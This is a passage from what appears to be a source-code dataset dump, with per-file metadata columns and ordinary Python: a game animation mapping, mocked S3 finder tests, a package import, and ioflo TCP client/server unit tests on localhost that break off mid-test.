ACTION['MOVIE']),'5_tut_act_2_2_td': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_2_5_js': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_2_5_js': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_3_1_bp': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_3_1_bp': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'2_tut_act_3_1_bp': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'3_tut_act_3_1_bp': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'4_tut_act_3_1_bp': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_3_2_js': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_3_2_js': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'crazy_ned_day_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'crazy_ned_day_walk': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'crazy_ned_day_interact': (ACTION['INPLACE_0'], ACTION['INPLACE_0'], ACTION['INPLACE_0']),'crazy_ned_night_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'crazy_ned_night_interact': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'crazy_ned_night_jump_in_box': (ACTION['INPLACE_0'], ACTION['INPLACE_0'], ACTION['INPLACE_0']),'crazy_ned_night_jump_out_box': (ACTION['INPLACE_0'], ACTION['INPLACE_0'], ACTION['INPLACE_0'])}
| 2,035.526316
| 37,917
| 0.693756
| 5,428
| 38,675
| 4.607406
| 0.061533
| 0.290575
| 0.298932
| 0.30549
| 0.920948
| 0.920389
| 0.890319
| 0.808349
| 0.710384
| 0.616938
| 0
| 0.02533
| 0.042508
| 38,675
| 19
| 37,917
| 2,035.526316
| 0.650023
| 0
| 0
| 0
| 0
| 0
| 0.475178
| 0.042171
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.111111
| 0
| 0.944444
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 12
|
f77a6c357c69517e657f239fd13051ba88832336
| 1,113
|
py
|
Python
|
tests/s3/test_s3_bucket_object_finder.py
|
BigNerd/justmltools
|
97133380f2675596fdd9c87d9bc570ccd5fc20b9
|
[
"MIT"
] | null | null | null |
tests/s3/test_s3_bucket_object_finder.py
|
BigNerd/justmltools
|
97133380f2675596fdd9c87d9bc570ccd5fc20b9
|
[
"MIT"
] | 3
|
2021-09-17T06:42:03.000Z
|
2021-09-17T06:42:04.000Z
|
tests/s3/test_s3_bucket_object_finder.py
|
BigNerd/justmltools
|
97133380f2675596fdd9c87d9bc570ccd5fc20b9
|
[
"MIT"
] | 1
|
2020-06-24T15:17:59.000Z
|
2020-06-24T15:17:59.000Z
|
from unittest import TestCase
from unittest.mock import MagicMock, patch
class TestS3BucketObjectFinder(TestCase):
@patch('boto3.client')
@patch('justmltools.s3.aws_credentials.AwsCredentials', autospec=True)
def test_get_matching_s3_objects(
self,
aws_credentials_mock: MagicMock,
client_mock: MagicMock,
):
from types import GeneratorType
from justmltools.s3.s3_bucket_object_finder import S3BucketObjectFinder
sut = S3BucketObjectFinder()
result = sut.get_matching_s3_objects(bucket="")
self.assertIsInstance(result, GeneratorType)
@patch('boto3.client')
@patch('justmltools.s3.aws_credentials.AwsCredentials', autospec=True)
def test_get_matching_s3_keys(
self,
aws_credentials_mock: MagicMock,
client_mock: MagicMock,
):
from types import GeneratorType
from justmltools.s3.s3_bucket_object_finder import S3BucketObjectFinder
sut = S3BucketObjectFinder()
result = sut.get_matching_s3_keys(bucket="")
self.assertIsInstance(result, GeneratorType)
| 34.78125
| 79
| 0.71788
| 115
| 1,113
| 6.704348
| 0.295652
| 0.067445
| 0.067445
| 0.054475
| 0.843061
| 0.726329
| 0.726329
| 0.726329
| 0.726329
| 0.726329
| 0
| 0.019231
| 0.20575
| 1,113
| 31
| 80
| 35.903226
| 0.852941
| 0
| 0
| 0.740741
| 0
| 0
| 0.102426
| 0.080863
| 0
| 0
| 0
| 0
| 0.074074
| 1
| 0.074074
| false
| 0
| 0.222222
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f7807e3b90dfa4fc4807919f3ca823d5ef869ba7
| 95
|
py
|
Python
|
tardis/plasma/__init__.py
|
sarafina325/tardis
|
9e398b34c702d22681699e38512f45d7c7f12454
|
[
"BSD-3-Clause"
] | 1
|
2016-03-24T13:14:25.000Z
|
2016-03-24T13:14:25.000Z
|
tardis/plasma/__init__.py
|
sarafina325/tardis
|
9e398b34c702d22681699e38512f45d7c7f12454
|
[
"BSD-3-Clause"
] | 6
|
2015-03-16T10:31:40.000Z
|
2019-02-21T17:56:55.000Z
|
tardis/plasma/__init__.py
|
sarafina325/tardis
|
9e398b34c702d22681699e38512f45d7c7f12454
|
[
"BSD-3-Clause"
] | 5
|
2015-03-17T18:56:20.000Z
|
2019-02-12T12:53:15.000Z
|
from tardis.plasma.base import BasePlasma
from tardis.plasma.standard_plasmas import LTEPlasma
| 31.666667
| 52
| 0.873684
| 13
| 95
| 6.307692
| 0.692308
| 0.243902
| 0.390244
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.084211
| 95
| 2
| 53
| 47.5
| 0.942529
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
f78d43f37fe7ee420c3bec5d1ef3ab0b44923ea7
| 67,365
|
py
|
Python
|
ioflo/aio/tcp/test/test_tcping.py
|
BradyHammond/ioflo
|
177ac656d7c4ff801aebb0d8b401db365a5248ce
|
[
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 128
|
2015-01-14T12:26:56.000Z
|
2021-11-06T07:09:29.000Z
|
ioflo/aio/tcp/test/test_tcping.py
|
BradyHammond/ioflo
|
177ac656d7c4ff801aebb0d8b401db365a5248ce
|
[
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 17
|
2015-01-28T18:26:50.000Z
|
2020-11-19T22:08:06.000Z
|
ioflo/aio/tcp/test/test_tcping.py
|
BradyHammond/ioflo
|
177ac656d7c4ff801aebb0d8b401db365a5248ce
|
[
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 29
|
2015-01-27T23:28:31.000Z
|
2021-05-04T16:37:30.000Z
|
# -*- coding: utf-8 -*-
"""
Unittests for tcping module
"""
import sys
import unittest
import os
import time
import tempfile
import shutil
import socket
import errno
from ioflo.aid.sixing import *
from ioflo.aid.consoling import getConsole
from ioflo.aio import wiring
from ioflo.aio.tcp import serving, clienting
from ioflo.base import storing
console = getConsole()
def setUpModule():
console.reinit(verbosity=console.Wordage.concise)
def tearDownModule():
console.reinit(verbosity=console.Wordage.concise)
class BasicTestCase(unittest.TestCase):
"""
Test Case
"""
def setUp(self):
"""
"""
tempdirpath = os.path.dirname(
os.path.dirname(
os.path.dirname(
os.path.abspath(
sys.modules.get(__name__).__file__))))
self.certdirpath = os.path.join(tempdirpath, 'test', 'tls', 'certs')
def tearDown(self):
"""
"""
pass
def testTcpClientServer(self):
"""
Test Classes Client (Outgoer) and Server with Incomers
"""
console.terse("{0}\n".format(self.testTcpClientServer.__doc__))
console.reinit(verbosity=console.Wordage.profuse)
userDirpath = os.path.join('~', '.ioflo', 'test')
userDirpath = os.path.abspath(os.path.expanduser(userDirpath))
if not os.path.exists(userDirpath):
os.makedirs(userDirpath)
tempDirpath = tempfile.mkdtemp(prefix="test", suffix="tcp", dir=userDirpath)
logDirpath = os.path.join(tempDirpath, 'log')
if not os.path.exists(logDirpath):
os.makedirs(logDirpath)
wireLog = wiring.WireLog(path=logDirpath)
result = wireLog.reopen(prefix='alpha', midfix='6101')
store = storing.Store(stamp=0.0)
alpha = serving.Server(port = 6101, bufsize=131072, wlog=wireLog, store=store)
self.assertIs(alpha.opened, False)
self.assertIs(alpha.reopen(), True)
self.assertIs(alpha.opened, True)
self.assertEqual(alpha.ha, ('0.0.0.0', 6101))
beta = clienting.Client(ha=alpha.eha, bufsize=131072, store=store)
self.assertIs(beta.opened, False)
self.assertIs(beta.reopen(), True)
self.assertIs(beta.opened, True)
self.assertIs(beta.accepted, False)
self.assertIs(beta.connected, False)
self.assertIs(beta.cutoff, False)
gamma = clienting.Client(ha=alpha.eha, bufsize=131072, store=store)
self.assertIs(gamma.reopen(), True)
self.assertIs(gamma.accepted, False)
self.assertIs(gamma.connected, False)
self.assertIs(gamma.cutoff, False)
console.terse("Connecting beta to alpha\n")
while True:
beta.serviceConnect()
alpha.serviceConnects()
if beta.connected and beta.ca in alpha.ixes:
break
time.sleep(0.05)
self.assertIs(beta.accepted, True)
self.assertIs(beta.connected, True)
self.assertIs(beta.cutoff, False)
self.assertEqual(beta.ca, beta.cs.getsockname())
self.assertEqual(beta.ha, beta.cs.getpeername())
self.assertEqual(alpha.eha, beta.ha)
ixBeta = alpha.ixes[beta.ca]
self.assertIsNotNone(ixBeta.ca)
self.assertIsNotNone(ixBeta.cs)
self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())
self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())
self.assertEqual(ixBeta.ca, beta.ca)
self.assertEqual(ixBeta.ha, beta.ha)
msgOut = b"Beta sends to Alpha"
count = beta.send(msgOut)
self.assertEqual(count, len(msgOut))
time.sleep(0.05)
msgIn = ixBeta.receive()
self.assertEqual(msgOut, msgIn)
# receive without sending
msgIn = ixBeta.receive()
self.assertEqual(msgIn, None)
# send multiple
msgOut1 = b"First Message"
count = beta.send(msgOut1)
self.assertEqual(count, len(msgOut1))
msgOut2 = b"Second Message"
count = beta.send(msgOut2)
self.assertEqual(count, len(msgOut2))
time.sleep(0.05)
msgIn = ixBeta.receive()
self.assertEqual(msgIn, msgOut1 + msgOut2)
# send from alpha to beta
msgOut = b"Alpha sends to Beta"
count = ixBeta.send(msgOut)
self.assertEqual(count, len(msgOut))
time.sleep(0.05)
msgIn = beta.receive()
self.assertEqual(msgOut, msgIn)
# receive without sending
msgIn = beta.receive()
self.assertEqual(msgIn, None)
# build message too big to fit in buffer
sizes = beta.actualBufSizes()
size = sizes[0]
msgOut = b""
count = 0
while (len(msgOut) <= size * 4):
msgOut += ns2b("{0:0>7d} ".format(count))
count += 1
self.assertTrue(len(msgOut) >= size * 4)
msgIn = b''
count = 0
while len(msgIn) < len(msgOut):
if count < len(msgOut):
count += beta.send(msgOut[count:])
time.sleep(0.05)
msgIn += ixBeta.receive()
self.assertEqual(count, len(msgOut))
self.assertEqual(msgOut, msgIn)
console.terse("Connecting gamma to alpha\n")
while True:
gamma.serviceConnect()
alpha.serviceConnects()
if gamma.connected and gamma.ca in alpha.ixes:
break
time.sleep(0.05)
self.assertIs(gamma.accepted, True)
self.assertIs(gamma.connected, True)
self.assertIs(gamma.cutoff, False)
self.assertEqual(gamma.ca, gamma.cs.getsockname())
self.assertEqual(gamma.ha, gamma.cs.getpeername())
self.assertEqual(alpha.eha, gamma.ha)
ixGamma = alpha.ixes[gamma.ca]
self.assertIsNotNone(ixGamma.ca)
self.assertIsNotNone(ixGamma.cs)
self.assertEqual(ixGamma.cs.getsockname(), gamma.cs.getpeername())
self.assertEqual(ixGamma.cs.getpeername(), gamma.cs.getsockname())
self.assertEqual(ixGamma.ca, gamma.ca)
self.assertEqual(ixGamma.ha, gamma.ha)
msgOut = b"Gamma sends to Alpha"
count = gamma.send(msgOut)
self.assertEqual(count, len(msgOut))
time.sleep(0.05)
msgIn = ixGamma.receive()
self.assertEqual(msgOut, msgIn)
# receive without sending
msgIn = ixGamma.receive()
self.assertEqual(msgIn, None)
# send from alpha to gamma
msgOut = b"Alpha sends to Gamma"
count = ixGamma.send(msgOut)
self.assertEqual(count, len(msgOut))
time.sleep(0.05)
msgIn = gamma.receive()
self.assertEqual(msgOut, msgIn)
# recieve without sending
msgIn = gamma.receive()
self.assertEqual(msgIn, None)
# close beta and then attempt to send
beta.close()
msgOut = b"Send on closed socket"
with self.assertRaises(AttributeError) as cm:
count = beta.send(msgOut)
# attempt to receive on closed socket
with self.assertRaises(AttributeError) as cm:
msgIn = beta.receive()
# read on alpha after closed beta
msgIn = ixBeta.receive()
self.assertEqual(msgIn, b'')
# send on alpha after close beta
msgOut = b"Alpha sends to Beta after close"
count = ixBeta.send(msgOut)
self.assertEqual(count, len(msgOut)) #apparently works
ixBeta.close()
del alpha.ixes[ixBeta.ca]
# send on gamma then shutdown sends
msgOut = b"Gamma sends to Alpha"
count = gamma.send(msgOut)
self.assertEqual(count, len(msgOut))
gamma.shutdownSend()
time.sleep(0.05)
msgIn = ixGamma.receive()
self.assertEqual(msgOut, msgIn)
msgIn = ixGamma.receive()
self.assertEqual(msgIn, b'') # gamma shutdown detected
# send from alpha to gamma and shutdown
msgOut = b"Alpha sends to Gamma"
count = ixGamma.send(msgOut)
self.assertEqual(count, len(msgOut))
ixGamma.shutdown() # shutdown alpha
time.sleep(0.05)
msgIn = gamma.receive()
self.assertEqual(msgOut, msgIn)
msgIn = gamma.receive()
if 'linux' in sys.platform:
self.assertEqual(msgIn, b'') # alpha shutdown detected
self.assertIs(gamma.cutoff, True)
else:
self.assertEqual(msgIn, None) # alpha shutdown not detected
self.assertIs(gamma.cutoff, False)
time.sleep(0.05)
msgIn = gamma.receive()
if 'linux' in sys.platform:
self.assertEqual(msgIn, b'') # alpha shutdown detected
self.assertIs(gamma.cutoff, True)
else:
self.assertEqual(msgIn, None) # alpha shutdown not detected
self.assertIs(gamma.cutoff, False)
ixGamma.shutclose() # close alpha
del alpha.ixes[ixGamma.ca]
time.sleep(0.05)
msgIn = gamma.receive()
self.assertEqual(msgIn, b'') # alpha close is detected
self.assertIs(gamma.cutoff, True)
# reopen beta
self.assertIs(beta.reopen(), True)
self.assertIs(beta.accepted, False)
self.assertIs(beta.connected, False)
self.assertIs(beta.cutoff, False)
console.terse("Connecting beta to alpha\n")
while True:
beta.serviceConnect()
alpha.serviceConnects()
if beta.connected and beta.ca in alpha.ixes:
break
time.sleep(0.05)
self.assertIs(beta.accepted, True)
self.assertIs(beta.connected, True)
self.assertIs(beta.cutoff, False)
self.assertEqual(beta.ca, beta.cs.getsockname())
self.assertEqual(beta.ha, beta.cs.getpeername())
self.assertEqual(alpha.eha, beta.ha)
ixBeta = alpha.ixes[beta.ca]
self.assertIsNotNone(ixBeta.ca)
self.assertIsNotNone(ixBeta.cs)
self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())
self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())
self.assertEqual(ixBeta.ca, beta.ca)
self.assertEqual(ixBeta.ha, beta.ha)
msgOut = b"Beta sends to Alpha"
count = beta.send(msgOut)
self.assertEqual(count, len(msgOut))
time.sleep(0.05)
msgIn = ixBeta.receive()
self.assertEqual(msgOut, msgIn)
# send from alpha to beta
msgOut = b"Alpha sends to Beta"
count = ixBeta.send(msgOut)
self.assertEqual(count, len(msgOut))
time.sleep(0.05)
msgIn = beta.receive()
self.assertEqual(msgOut, msgIn)
# send then shutdown alpha and then attempt to send
msgOut1 = b"Alpha sends to Beta"
count = ixBeta.send(msgOut)
self.assertEqual(count, len(msgOut1))
ixBeta.shutdownSend()
msgOut2 = b"Send on shutdown socket"
with self.assertRaises(socket.error) as cm:
count = ixBeta.send(msgOut)
self.assertTrue(cm.exception.errno == errno.EPIPE)
time.sleep(0.05)
msgIn = beta.receive()
self.assertEqual(msgOut1, msgIn)
msgIn = beta.receive()
self.assertEqual(msgIn, b'') # beta detects shutdown socket
self.assertIs(beta.cutoff, True)
msgOut = b"Beta sends to Alpha"
count = beta.send(msgOut)
self.assertEqual(count, len(msgOut))
beta.shutdown()
time.sleep(0.05)
msgIn = ixBeta.receive()
self.assertEqual(msgOut, msgIn)
time.sleep(0.05)
msgIn = ixBeta.receive()
if 'linux' in sys.platform:
self.assertEqual(msgIn, b'') # alpha does detect shutdown
else:
self.assertEqual(msgIn, None) # alpha does not detect shutdown
beta.close()
time.sleep(0.05)
msgIn = ixBeta.receive()
self.assertEqual(msgIn, b'') # alpha detects closed socket
ixBeta.close()
del alpha.ixes[ixBeta.ca]
# reopen gamma
self.assertIs(gamma.reopen(), True)
self.assertIs(gamma.accepted, False)
self.assertIs(gamma.connected, False)
self.assertIs(gamma.cutoff, False)
console.terse("Connecting gamma to alpha\n")
while True:
gamma.serviceConnect()
alpha.serviceConnects()
if gamma.connected and gamma.ca in alpha.ixes:
break
time.sleep(0.05)
self.assertIs(gamma.accepted, True)
self.assertIs(gamma.connected, True)
self.assertIs(gamma.cutoff, False)
self.assertEqual(gamma.ca, gamma.cs.getsockname())
self.assertEqual(gamma.ha, gamma.cs.getpeername())
self.assertEqual(alpha.eha, gamma.ha)
ixGamma = alpha.ixes[gamma.ca]
self.assertIsNotNone(ixGamma.ca)
self.assertIsNotNone(ixGamma.cs)
self.assertEqual(ixGamma.cs.getsockname(), gamma.cs.getpeername())
self.assertEqual(ixGamma.cs.getpeername(), gamma.cs.getsockname())
self.assertEqual(ixGamma.ca, gamma.ca)
self.assertEqual(ixGamma.ha, gamma.ha)
msgOut = b"Gamma sends to Alpha"
count = gamma.send(msgOut)
self.assertEqual(count, len(msgOut))
time.sleep(0.05)
msgIn = ixGamma.receive()
self.assertEqual(msgOut, msgIn)
gamma.close()
time.sleep(0.05)
msgIn = ixGamma.receive()
self.assertEqual(msgIn, b'') # alpha detects close
ixGamma.close()
del alpha.ixes[ixGamma.ca]
# reopen gamma
self.assertIs(gamma.reopen(), True)
self.assertIs(gamma.accepted, False)
self.assertIs(gamma.connected, False)
self.assertIs(gamma.cutoff, False)
console.terse("Connecting gamma to alpha\n")
while True:
gamma.serviceConnect()
alpha.serviceConnects()
if gamma.connected and gamma.ca in alpha.ixes:
break
time.sleep(0.05)
self.assertIs(gamma.accepted, True)
self.assertIs(gamma.connected, True)
self.assertIs(gamma.cutoff, False)
self.assertEqual(gamma.ca, gamma.cs.getsockname())
self.assertEqual(gamma.ha, gamma.cs.getpeername())
self.assertEqual(alpha.eha, gamma.ha)
ixGamma = alpha.ixes[gamma.ca]
self.assertIsNotNone(ixGamma.ca)
self.assertIsNotNone(ixGamma.cs)
self.assertEqual(ixGamma.cs.getsockname(), gamma.cs.getpeername())
self.assertEqual(ixGamma.cs.getpeername(), gamma.cs.getsockname())
self.assertEqual(ixGamma.ca, gamma.ca)
self.assertEqual(ixGamma.ha, gamma.ha)
# send from alpha to gamma
msgOut = b"Alpha sends to Gamma"
count = ixGamma.send(msgOut)
self.assertEqual(count, len(msgOut))
time.sleep(0.05)
msgIn = gamma.receive()
self.assertEqual(msgOut, msgIn)
ixGamma.shutclose()
del alpha.ixes[ixGamma.ca]
time.sleep(0.05)
msgIn = gamma.receive()
self.assertEqual(msgIn, b'') # gamma detects close
self.assertIs(gamma.cutoff, True)
alpha.close()
beta.close()
gamma.close()
self.assertIs(alpha.opened, False)
self.assertIs(beta.opened, False)
wireLog.close()
shutil.rmtree(tempDirpath)
console.reinit(verbosity=console.Wordage.concise)
def testTcpClientServerServiceCat(self):
"""
Test Classes ServerSocketTcpNb service methods that use catRxes
"""
console.terse("{0}\n".format(self.testTcpClientServerServiceCat.__doc__))
console.reinit(verbosity=console.Wordage.profuse)
userDirpath = os.path.join('~', '.ioflo', 'test')
userDirpath = os.path.abspath(os.path.expanduser(userDirpath))
if not os.path.exists(userDirpath):
os.makedirs(userDirpath)
tempDirpath = tempfile.mkdtemp(prefix="test", suffix="tcp", dir=userDirpath)
logDirpath = os.path.join(tempDirpath, 'log')
if not os.path.exists(logDirpath):
os.makedirs(logDirpath)
wireLogAlpha = wiring.WireLog(path=logDirpath, same=True)
result = wireLogAlpha.reopen(prefix='alpha', midfix='6101')
wireLogBeta = wiring.WireLog(buffify=True)
result = wireLogBeta.reopen()
store = storing.Store(stamp=0.0)
alpha = serving.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha, store=store)
self.assertIs(alpha.reopen(), True)
self.assertEqual(alpha.ha, ('0.0.0.0', 6101))
beta = clienting.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta, store=store)
self.assertIs(beta.reopen(), True)
self.assertIs(beta.accepted, False)
self.assertIs(beta.connected, False)
self.assertIs(beta.cutoff, False)
console.terse("Connecting beta to alpha\n")
while True:
beta.serviceConnect()
alpha.serviceConnects()
if beta.connected and beta.ca in alpha.ixes:
break
time.sleep(0.05)
self.assertIs(beta.accepted, True)
self.assertIs(beta.connected, True)
self.assertIs(beta.cutoff, False)
self.assertEqual(beta.ca, beta.cs.getsockname())
self.assertEqual(beta.ha, beta.cs.getpeername())
self.assertEqual(alpha.eha, beta.ha)
ixBeta = alpha.ixes[beta.ca]
self.assertIsNotNone(ixBeta.ca)
self.assertIsNotNone(ixBeta.cs)
self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())
self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())
self.assertEqual(ixBeta.ca, beta.ca)
self.assertEqual(ixBeta.ha, beta.ha)
msgOut = b"Beta sends to Alpha"
beta.tx(msgOut)
msgIn = b''
while not msgIn and beta.txes:
beta.serviceTxes()
alpha.serviceReceivesAllIx()
msgIn += ixBeta.catRxbs()
time.sleep(0.05)
self.assertEqual(msgOut, msgIn)
# send multiple
msgOut1 = b"First Message"
beta.tx(msgOut1)
msgOut2 = b"Second Message"
beta.tx(msgOut2)
msgIn = b''
while len(msgIn) < len(msgOut1 + msgOut2):
beta.serviceTxes()
alpha.serviceReceivesAllIx()
msgIn += ixBeta.catRxbs()
time.sleep(0.05)
self.assertEqual(msgIn, msgOut1 + msgOut2)
# build message too big to fit in buffer
sizes = beta.actualBufSizes()
size = sizes[0]
msgOutBig = b""
count = 0
while (len(msgOutBig) <= size * 4):
msgOutBig += ns2b("{0:0>7d} ".format(count))
count += 1
self.assertTrue(len(msgOutBig) >= size * 4)
beta.tx(msgOutBig)
msgIn = b''
count = 0
while len(msgIn) < len(msgOutBig):
beta.serviceTxes()
time.sleep(0.05)
alpha.serviceReceivesAllIx()
msgIn += ixBeta.catRxbs()
time.sleep(0.05)
self.assertEqual(msgIn, msgOutBig)
# send from alpha to beta
msgOut = b"Alpha sends to Beta"
ixBeta.tx(msgOut)
msgIn = b''
while len(msgIn) < len(msgOut):
alpha.serviceTxesAllIx()
beta.serviceReceives()
msgIn += beta.catRxbs()
time.sleep(0.05)
self.assertEqual(msgIn, msgOut)
# send big from alpha to beta
ixBeta.tx(msgOutBig)
msgIn = b''
while len(msgIn) < len(msgOutBig):
alpha.serviceTxesAllIx()
time.sleep(0.05)
beta.serviceReceives()
msgIn += beta.catRxbs()
time.sleep(0.05)
self.assertEqual(msgIn, msgOutBig)
alpha.close()
beta.close()
wlBetaRx = wireLogBeta.getRx()
self.assertTrue(wlBetaRx.startswith(b"RX ('127.0.0.1', 6101)\nAlpha sends to Beta\n"))
wlBetaTx = wireLogBeta.getTx()
self.assertTrue(wlBetaTx.startswith(b"TX ('127.0.0.1', 6101)\nBeta sends to Alpha\n"))
wireLogAlpha.close()
wireLogBeta.close()
shutil.rmtree(tempDirpath)
console.reinit(verbosity=console.Wordage.concise)
def testTcpClientServerService(self):
"""
Test Classes ServerSocketTcpNb service methods
"""
console.terse("{0}\n".format(self.testTcpClientServerService.__doc__))
console.reinit(verbosity=console.Wordage.profuse)
userDirpath = os.path.join('~', '.ioflo', 'test')
userDirpath = os.path.abspath(os.path.expanduser(userDirpath))
if not os.path.exists(userDirpath):
os.makedirs(userDirpath)
tempDirpath = tempfile.mkdtemp(prefix="test", suffix="tcp", dir=userDirpath)
logDirpath = os.path.join(tempDirpath, 'log')
if not os.path.exists(logDirpath):
os.makedirs(logDirpath)
wireLogAlpha = wiring.WireLog(path=logDirpath, same=True)
result = wireLogAlpha.reopen(prefix='alpha', midfix='6101')
wireLogBeta = wiring.WireLog(buffify=True, same=True)
result = wireLogBeta.reopen()
alpha = serving.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)
self.assertIs(alpha.reopen(), True)
self.assertEqual(alpha.ha, ('0.0.0.0', 6101))
self.assertEqual(alpha.eha, ('127.0.0.1', 6101))
beta = clienting.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta)
self.assertIs(beta.reopen(), True)
self.assertIs(beta.accepted, False)
self.assertIs(beta.connected, False)
self.assertIs(beta.cutoff, False)
console.terse("Connecting beta to alpha\n")
while True:
beta.serviceConnect()
alpha.serviceConnects()
if beta.connected and beta.ca in alpha.ixes:
break
time.sleep(0.05)
self.assertIs(beta.accepted, True)
self.assertIs(beta.connected, True)
self.assertIs(beta.cutoff, False)
self.assertEqual(beta.ca, beta.cs.getsockname())
self.assertEqual(beta.ha, beta.cs.getpeername())
self.assertEqual(alpha.eha, beta.ha)
ixBeta = alpha.ixes[beta.ca]
self.assertIsNotNone(ixBeta.ca)
self.assertIsNotNone(ixBeta.cs)
self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())
self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())
self.assertEqual(ixBeta.ca, beta.ca)
self.assertEqual(ixBeta.ha, beta.ha)
msgOut = b"Beta sends to Alpha"
beta.tx(msgOut)
while not ixBeta.rxbs and beta.txes:
beta.serviceTxes()
alpha.serviceReceivesAllIx()
time.sleep(0.05)
msgIn = bytes(ixBeta.rxbs)
self.assertEqual(msgIn, msgOut)
index = len(ixBeta.rxbs)
# send multiple
msgOut1 = b"First Message"
beta.tx(msgOut1)
msgOut2 = b"Second Message"
beta.tx(msgOut2)
while len(ixBeta.rxbs) < len(msgOut1 + msgOut2):
beta.serviceTxes()
alpha.serviceReceivesAllIx()
time.sleep(0.05)
msgIn, index = ixBeta.tailRxbs(index)
self.assertEqual(msgIn, msgOut1 + msgOut2)
ixBeta.clearRxbs()
# build message too big to fit in buffer
sizes = beta.actualBufSizes()
size = sizes[0]
msgOutBig = b""
count = 0
while (len(msgOutBig) <= size * 4):
msgOutBig += ns2b("{0:0>7d} ".format(count))
count += 1
self.assertTrue(len(msgOutBig) >= size * 4)
beta.tx(msgOutBig)
count = 0
while len(ixBeta.rxbs) < len(msgOutBig):
beta.serviceTxes()
time.sleep(0.05)
alpha.serviceReceivesAllIx()
time.sleep(0.05)
msgIn = bytes(ixBeta.rxbs)
ixBeta.clearRxbs()
self.assertEqual(msgIn, msgOutBig)
# send from alpha to beta
msgOut = b"Alpha sends to Beta"
ixBeta.tx(msgOut)
while len(beta.rxbs) < len(msgOut):
alpha.serviceTxesAllIx()
beta.serviceReceives()
time.sleep(0.05)
msgIn = bytes(beta.rxbs)
beta.clearRxbs()
self.assertEqual(msgIn, msgOut)
# send big from alpha to beta
ixBeta.tx(msgOutBig)
while len(beta.rxbs) < len(msgOutBig):
alpha.serviceTxesAllIx()
time.sleep(0.05)
beta.serviceReceives()
time.sleep(0.05)
msgIn = bytes(beta.rxbs)
beta.clearRxbs()
self.assertEqual(msgIn, msgOutBig)
alpha.close()
beta.close()
wlBetaRx = wireLogBeta.getRx()
wlBetaTx = wireLogBeta.getTx()
self.assertEqual(wlBetaRx, wlBetaTx) # since wlog is same
wireLogAlpha.close()
wireLogBeta.close()
shutil.rmtree(tempDirpath)
console.reinit(verbosity=console.Wordage.concise)
def testClientAutoReconnect(self):
"""
Test Classes Client/Outgoer reconnectable
"""
console.terse("{0}\n".format(self.testClientAutoReconnect.__doc__))
console.reinit(verbosity=console.Wordage.profuse)
wireLogAlpha = wiring.WireLog(buffify=True, same=True)
result = wireLogAlpha.reopen()
wireLogBeta = wiring.WireLog(buffify=True, same=True)
result = wireLogBeta.reopen()
store = storing.Store(stamp=0.0)
beta = clienting.Client(ha=('127.0.0.1', 6101),
bufsize=131072,
wlog=wireLogBeta,
store=store,
timeout=0.2,
reconnectable=True, )
self.assertIs(beta.reopen(), True)
self.assertIs(beta.accepted, False)
self.assertIs(beta.connected, False)
self.assertIs(beta.cutoff, False)
self.assertIs(beta.store, store)
self.assertIs(beta.reconnectable, True)
console.terse("Connecting beta to alpha when alpha not up\n")
while beta.store.stamp <= 0.25:
beta.serviceConnect()
if beta.connected and beta.ca in alpha.ixes:
break
beta.store.advanceStamp(0.05)
time.sleep(0.05)
self.assertIs(beta.accepted, False)
self.assertIs(beta.connected, False)
alpha = serving.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha, store=store)
self.assertIs(alpha.reopen(), True)
self.assertEqual(alpha.ha, ('0.0.0.0', 6101))
self.assertEqual(alpha.eha, ('127.0.0.1', 6101))
